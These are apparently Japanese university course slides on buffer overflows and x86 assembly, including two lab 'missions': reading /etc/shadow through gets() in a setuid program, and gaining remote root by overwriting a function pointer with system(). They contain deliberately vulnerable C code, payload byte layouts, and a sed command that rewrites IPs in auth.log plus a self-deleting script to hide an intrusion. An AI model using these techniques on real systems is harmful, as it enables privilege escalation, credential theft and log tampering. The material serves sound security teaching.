1. セキュリティホール |
---|
|
バッファオーバフロー |
---|
# ls -l /usr/bin/passwd /etc/passwd /etc/shadow -rw-r--r-- 1 root root 1013 Aug 15 06:17 /etc/passwd -rw-r----- 1 root shadow 681 Aug 15 06:17 /etc/shadow -rwsr-xr-x 1 root root 31704 Nov 14 2009 /usr/bin/passwd |
バッファオーバフローの例(C言語ソースレベル) |
---|
以下のC言語ソースコードでは、スタック上に確保された4つのバッファが隣接1 int 2 main() 3 { 4 char buf4[4]; 5 char buf3[4]; 6 char buf2[4]; 7 char buf1[4]; 8 9 memset(buf1, '1', 8); 10 memset(buf2, '2', 8); 11 memset(buf3, '3', 8); 12 memset(buf4, '\0', 4); 13 14 printf("%s\n", buf1); 15 printf("%s\n", buf2); 16 printf("%s\n", buf3); 17 18 return(0); 19 } |
バッファオーバフローの例(続き) |
---|
実行結果は以下の通り。$ cc bof.c -o bof $ ./bof 111122223333 22223333 3333 デバッガ実行で何が起きているか確認。$ cc bof.c -g -o bof $ gdb bof GNU gdb 6.4.90-debian [snip] (gdb) list 1 int 2 main() 3 { 4 char buf4[4]; 5 char buf3[4]; 6 char buf2[4]; 7 char buf1[4]; 8 9 memset(buf1, '1', 8); 10 memset(buf2, '2', 8); (gdb) b 10 Breakpoint 1 at 0x8048375: file bof.c, line 10. (gdb) r Starting program: /home/iwasaki/course/day-1/securityHole/bof Failed to read a valid object file image from memory. Breakpoint 1, main () at bof.c:10 10 memset(buf2, '2', 8); (gdb) p &buf1 $1 = (char (*)[4]) 0xbfaa8ce4 (gdb) p &buf2 $2 = (char (*)[4]) 0xbfaa8ce8 (gdb) p &buf3 $3 = (char (*)[4]) 0xbfaa8cec (gdb) p &buf4 $4 = (char (*)[4]) 0xbfaa8cf0 (gdb) p buf1 $5 = "1111" (gdb) p buf2 $6 = "1111" (gdb) n 11 memset(buf3, '3', 8); (gdb) 12 memset(buf4, '\0', 4); (gdb) 14 printf("%s\n", buf1); (gdb) p buf1 $7 = "1111" (gdb) p buf2 $8 = "2222" (gdb) p buf3 $9 = "3333" (gdb) p buf4 $10 = "\000\000\000" (gdb) n 111122223333 15 printf("%s\n", buf2); (gdb) 22223333 16 printf("%s\n", buf3); (gdb) 3333 18 return(0); (gdb) 19 } (gdb) quit デバッガのp(print)コマンドで表示しても、隣接するバッファが一つの文字列となっていることに気づきにくい。これはデバッガは実行形式のシンボル情報から各バッファのサイズを把握しており、そのサイズ分の表示しかしないため。 |
バッファオーバフローの例(続き2) |
---|
各バッファにmemset()で値を格納した直後の状態をまとめる。buf1(0xbfaa8ce4): 1111 9 memset(buf1, '1', 8); buf2(0xbfaa8ce8): 1111 buf3(0xbfaa8cec): buf4(0xbfaa8cf0): buf1(0xbfaa8ce4): 1111 10 memset(buf2, '2', 8); buf2(0xbfaa8ce8): 2222 buf3(0xbfaa8cec): 2222 buf4(0xbfaa8cf0): buf1(0xbfaa8ce4): 1111 11 memset(buf3, '3', 8); buf2(0xbfaa8ce8): 2222 buf3(0xbfaa8cec): 3333 buf4(0xbfaa8cf0): 3333 buf1(0xbfaa8ce4): 1111 12 memset(buf4, '\0', 4); buf2(0xbfaa8ce8): 2222 buf3(0xbfaa8cec): 3333 buf4(0xbfaa8cf0): 続くprintf()では各バッファの内容を表示しているが、printf()は指定されたアドレスからbuf4の先頭にある終端文字'\0'までの領域を文字列データとして認識する。そのため、buf1の内容表示ではbuf1の先頭からbuf4の先頭まで、buf2ではbuf2の先頭からbuf4の先頭までといった具合いに、指定されたバッファの領域を越えてデータにアクセスしている。 |
バッファオーバフローの例をアセンブリ言語レベルで見る |
---|
C言語ソースコードは以下のようにcc(C言語コンパイラドライバ)に-Sオプションを指定してアセンブリ言語ソースファイルを生成できる。$ cc -S bof.c 生成されたアセンブリ言語ソースは以下の通り(抜粋)。main: leal 4(%esp), %ecx andl $-16, %esp pushl -4(%ecx) pushl %ebp movl %esp, %ebp pushl %ecx subl $20, %esp leal -20(%ebp), %eax 9 memset(buf1, '1', 8); movl $825307441, (%eax) movl $825307441, 4(%eax) leal -16(%ebp), %eax 10 memset(buf2, '2', 8); movl $842150450, (%eax) movl $842150450, 4(%eax) leal -12(%ebp), %eax 11 memset(buf3, '3', 8); movl $858993459, (%eax) movl $858993459, 4(%eax) leal -8(%ebp), %eax 12 memset(buf4, '\0', 4); movl $0, (%eax) leal -20(%ebp), %eax 14 printf("%s\n", buf1); movl %eax, (%esp) call puts leal -16(%ebp), %eax 15 printf("%s\n", buf2); movl %eax, (%esp) call puts leal -12(%ebp), %eax 16 printf("%s\n", buf3); movl %eax, (%esp) call puts movl $0, %eax 18 return(0); addl $20, %esp popl %ecx popl %ebp leal -4(%ecx), %esp ret |
継続は力なり |
---|
|
バッファオーバフローを悪用してみる? | |
---|---|
はい! | ぜひ! |
STOP: c0000218 Unknown Hard Error Hard Unknown Error Beginning dump of physical memory. Physical memory dump complete. Contact your system administrator or technical support group for further assistance. Stop 0xc0000218 (0xe11a30e8, 0x00000000, 0x000000000, 0x00000000) UNKNOWN_HARD_ERROR
[実例1] rootのみ参照可能なファイルを一般ユーザ権限で参照する |
---|
/etc/passwdは一般ユーザも参照可能であるが、各ユーザのパスワードは暗号化された状態で/etc/shadowに格納されている。
しかしながら/etc/shadowは参照するにはroot(または特定グループshadow)の権限が必要となる。
$ cat /etc/shadow cat: /etc/shadow: Permission denied バッファオーバフローのセキュリティホールが確認されているプログラムを利用して、rootの暗号化パスワード文字列を入手せよ。
なお入手した暗号化パスワード文字列は、手元の同一環境のコンピュータでじっくりとbrute-force的に解読する予定。
なぜか所有者がrootでsビット(suid: set user id, sgid: set group id)が設定されているプログラム。
$ make [snip] $ ls -l sec_hole1 -rwsr-sr-x 1 root root 8326 Aug 15 20:28 sec_hole1 実行して質問にYesと入力すると特定のファイルの内容が表示される。
$ ./sec_hole1 Do you want to read userfile.txt? (Yes/No) ->Yes OK, this is the content of userfile.txt -------- USER FILE. |
[実例1] rootのみ参照可能なファイルを一般ユーザ権限で参照する(続き) |
---|
入手したソースコードはC言語で記述されていた。以下は抜粋である。
5 #define USERFILE "userfile.txt" 6 7 int 8 main(int argc, char *argv[]) 9 { 10 int fd, n; 11 static char *file; 12 static char buf[16]; 13 14 file = USERFILE; 15 printf("Do you want to read %s? (Yes/No) ->", file); 16 17 gets(buf); 18 if (buf[0] == 'N' || buf[0] == 'n') { 19 exit(0); 20 } 21 22 printf("OK, this is the content of %s\n--------\n", file); 23 24 fd = open(file, O_RDONLY); 25 if (fd < 0) { 26 perror("file open error"); 27 exit(0); 28 } 29 while (n = read(fd, buf, sizeof(buf))) { 30 write(1, buf, n); 31 } 32 33 close(fd); 34 exit(0); 35 } 入力データの長さのチェックをおこなわない悪名高いgets()を使用している。 gets()で使用するbufに隣接する変数fileの内容を/etc/shadowに書き換えて、root権限で/etc/shadowの内容を表示できそうだ。 |
[実例1] rootのみ参照可能なファイルを一般ユーザ権限で参照する(続き2) |
---|
gets()の入力に長い文字列を与えてバッファ(buf[16])を溢れさせて、隣接する変数fileに"/etc/shadow"という文字列が格納されたアドレスを書き込む。 "/etc/shadow"という文字列が格納されたアドレスを0x12345678とすると、与える文字列は以下のような感じになる。 YYYYYYYYYYYYYYYYY[ 0x12345678 ] ←─buf[16]へ─→←─ fileへ─→ ただし今回のターゲットのコンピュータは、データの下位バイトから並べるリトルエンディアン(little endian)のシステムなので、格納するアドレスを指定する際には注意が必要だ。こんな感じになる。 YYYYYYYYYYYYYYYYY[ 78 56 34 12 ] ←─buf[16]へ─→←─ fileへ─→ 少し問題なのが、 どうやってターゲットの実行環境に"/etc/shadow"という文字列を渡して、その正確なアドレスを知るか なのだが・・・ |
[実例1] rootのみ参照可能なファイルを一般ユーザ権限で参照する(続き3) |
---|
今回はターゲットの起動時にコマンドライン引数として"/etc/shadow"を与え、ターゲットのargv[1]のアドレス値を予想して変数fileに書き込むことにする。 ターゲットを関連する変数アドレスを表示するように修正して、これまでのアイディアの実現可能性を確認してみよう。 14 printf("argv[0] = %p: %s\n", argv[0], argv[0]); 15 printf("argv[1] = %p: %s\n", argv[1], argv[1]); 16 printf("buf = %p\n", &buf); 17 printf("file = %p\n", &file); $ ./sec_hole1 /etc/shadow argv[0] = 0xbffffa38: ./sec_hole1 argv[1] = 0xbffffa44: /etc/shadow buf = 0x804990c file = 0x804991c 想定どおりbuf[16]の直後に変数fileが配置されている。 この場合、argv[1]の0xbffffa44というアドレスをlittle endian形式でfileへ格納できれば成功だ。 実行するたびに表示されるargv[1]のアドレスが変わるが、何度か繰り返していると必ず同じアドレスが使われることも確認できた。 まだ未完成だが、sec_hole1のセキュリティホールを利用するプログラムを、sec_hole1_crack.cとして作成している。 さて、そろそろ残りのコードでも書こうか。 |
[実例2] リモートからroot権限で任意のコードを実行する | |||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
先日のrootのパスワード暗号化文字列のミッションの際に、侵入経路の痕跡がログに残ってしまったらしい。 ログの改竄はroot権限でしか出来ないため、以下のスクリプトをroot権限で実行して欲しい。 cd /var/log sed 's/133\.87\.136\.1/202.229.63.242/g' auth.log > auth.log.tmp mv auth.log.tmp auth.log なお、今後このホストへのログインは極力避け、リモートから操作する仕組みを構築すること。 inetd経由でroot権限で動作しているサーバプログラム。ポート番号10000で通信する文字列変換サービスをおこなうらしい。 入手したこのプログラムのプロトコル(通信規約)は以下の通り。単純な構造だ。
クライアントプログラムは入手できなかったので、telnetで接続して挙動を確認してみる。 $ telnet localhost 10000 1 OK Hi, I won't do any wrong things, so please trust me. HI, I WON'T DO ANY WRONG THINGS, SO PLEASE TRUST ME. Connection colosed by foreign host. $ 規約通りの動作だ。最初の番号1は大文字変換の意味らしい。 |
[実例2] リモートからroot権限で任意のコードを実行する(続き) |
---|
ターゲットのソースコードを入手した。3種類の文字列変換をおこなう処理は関数として実装されており、 main()で呼び出す関数を変数funcptrへ設定して呼び出す構造だ。 以下はmain()とそれに関連するコードの抜粋。 55 typedef struct { 56 int id; 57 int (*funcptr) (const char *str); 58 } funcdef_t; 59 60 funcdef_t funcdef[] = { 61 {0, (int (*) (const char *str))func0}, 62 {1, (int (*) (const char *str))func1}, 63 {2, (int (*) (const char *str))func2}, 64 {3, 0} 65 }; 66 67 int 68 main(void) 69 { 70 int i, funcid; 71 char *ep; 72 static char tmp[256]; 73 static int (*funcptr) (const char *str); 74 static char buf[64]; 75 76 memset(tmp, 0, sizeof(tmp)); 77 read(0, tmp, sizeof(tmp)); 78 funcid = strtoq(tmp, &ep, 10); 79 80 funcptr = 0; 81 for (i = 0; funcdef[i].funcptr != 0; i++) 82 { 83 if (funcid == i) 84 { 85 funcptr = funcdef[i].funcptr; 86 break; 87 } 88 } 89 90 if (funcptr == 0) 91 { 92 write(1, "NG\n", 3); 93 exit(0); 94 } 95 write(1, "OK\n", 3); 96 97 memset(tmp, 0, sizeof(tmp)); 98 read(0, tmp, sizeof(tmp)); 99 100 strncpy(buf, tmp, strlen(tmp)); 101 102 (void)(*funcptr) (buf); 103 104 exit(0); 105 } どこにバッファオーバフローのセキュリティホールがあるのか、もう一目瞭然だ。 |
[実例2] リモートからroot権限で任意のコードを実行する(続き2) |
---|
この変数funcptrは関数へのポインタ(アドレス)として宣言されているため、隣接するバッファを溢れさせてここを書き換えてやればよい。 書き換える内容はシェルコマンドを実行するsystem()へのポインタにしよう。 このライブラリ関数は基本的なものなので、どんなプログラムにもリンクされるlibcに含まれている。 とりあえずsystem()の仕様を確認しておこう。 $ man 3 system マニュアルページには 「system() は command で指定したコマンドを /bin/sh -c command の形で実行する。指定したコマンドが終了すればこの関数も終了する。コマンド実行中は、 SIGCHLD はブロックされ、 SIGINT と SIGQUIT は無視される。」 と書いてある。 つまり、入力文字列のバッファの内容を目的のshellコマンド文字列を設定して、 変数funcptrをsystem()へのポインタへ書き換えると、root権限で任意のコマンドを実行できそうだ。 少し問題なのが サーバプログラムのプロセス空間でのsystem()の配置アドレス なのだが… |
[実例2] リモートからroot権限で任意のコードを実行する(続き3) |
---|
サーバプログラムのプロセス空間でのsystem()の配置アドレスを表示するようソースコードを修正してみる。 76 printf("%p\n", system); この修正を加えたプログラムを同一の実行環境で動作させ、得られたアドレスを基にターゲットの環境で試行錯誤しよう。 大きく変わらないはずだから、少しづつアドレスをずらして試していけば、いずれ成功するだろう。 $ telnet localhost 10000 1 OK Hi, I won't do any wrong things, so please trust me. HI, I WON'T DO ANY WRONG THINGS, SO PLEASE TRUST ME. 0x804843c Connection colosed by foreign host. $ system()の引数として指定する文字列は、shellコードとして正しくないとsystem()が異常終了して目的が達成できなくなるので注意が必要だ。 system()へのポインタは文字列ではなく32ビットのアドレスを表現するバイナリのデータなので、そのままshellには解釈させられない。 シングルクォーテンションで括って、ダミーでechoコマンドにでも喰わせておこう。 |
[実例2] リモートからroot権限で任意のコードを実行する(続き4) |
---|
一般ユーザでターゲットのコンピュータにログインし、ログの改竄をおこなう一連のコマンドを"/tmp/manipulateLog.sh"に記述しておけばよいだろう。 このファイルの最後に"rm /tmp/manipulateLog.sh"とでも書いておけば、証拠隠滅工作も完璧だ。 バッファに流し込む内容はこんな感じだ。 /tmp/manipulateLog.sh; exit; echo '(中略)[ 3c 84 04 08 ]' ←─────── buf[64]へ ──────→← funcptrへ →←─ tmp[256]へ─→ C言語で表現すると、以下の処理をroot権限でおこなうのと等価だ。 system("/tmp/manipulateLog.sh; exit; echo ' (中略) '"); "/tmp/manipulateLog.sh"の部分は、今後の遠隔操作の継続を考慮して、任意のコマンドを指定できるよう可変にしておこう。 まだ未完成だが、sec_hole2のセキュリティホールを利用するプログラムを、sec_hole2_crack.cとして作成している。 さて、そろそろ残りのコードでも書こうか。 注意: 演習ではmanipulateLog.shで実際にログを改竄する必要は無く、rootのみ実行可能なコマンド(cat /etc/shadowなど)が実行できることを確認すればOK。 |
2. アセンブリ言語の基礎 |
---|
hoge.c ──→ hoge.s ──→ hoge.o ──→ hoge ↑ ↑ ↑ │ │ │ │ │ │ Cコンパイラ アセンブラ リンカ cc as ld |
CPUの基本構成 |
---|
┌────────────────┐ ┌───┐ │┌────┐ ┌──────┐│ │ │ ││ │ │ ││────────→│メモリ│ ││レジスタ│←→│ ││ │ │ ││ │ │ ││←────────│ │ │└────┘ │ ││ └───┘ │ │演算ユニット││ │ │ ││ ┌───┐ │ │ ││ │ │ │ │ ││────────→│入出力│ │ CPU │ ││ │ 機器 │ │ │ ││←────────│ │ │ └──────┘│ └───┘ └────────────────┘
|
レジスタ | ||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
レジスタ(続き) | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
Intelシンタックス、AT&Tシンタックス | ||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
主要な命令セット | ||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
[演習]アセンブリ言語の基礎 |
---|
size_t asm_strlen(const char *s); 1 .text 2 .globl asm_strlen 3 4 asm_strlen: 5 pushl %ebp 6 movl %esp, %ebp 7 movl 8(%ebp), %esi 8 xorl %eax, %eax 9 loop: 10 /* TODO */ 11 finish: 12 leave 13 ret
$ make $ ./main abc 3 $ |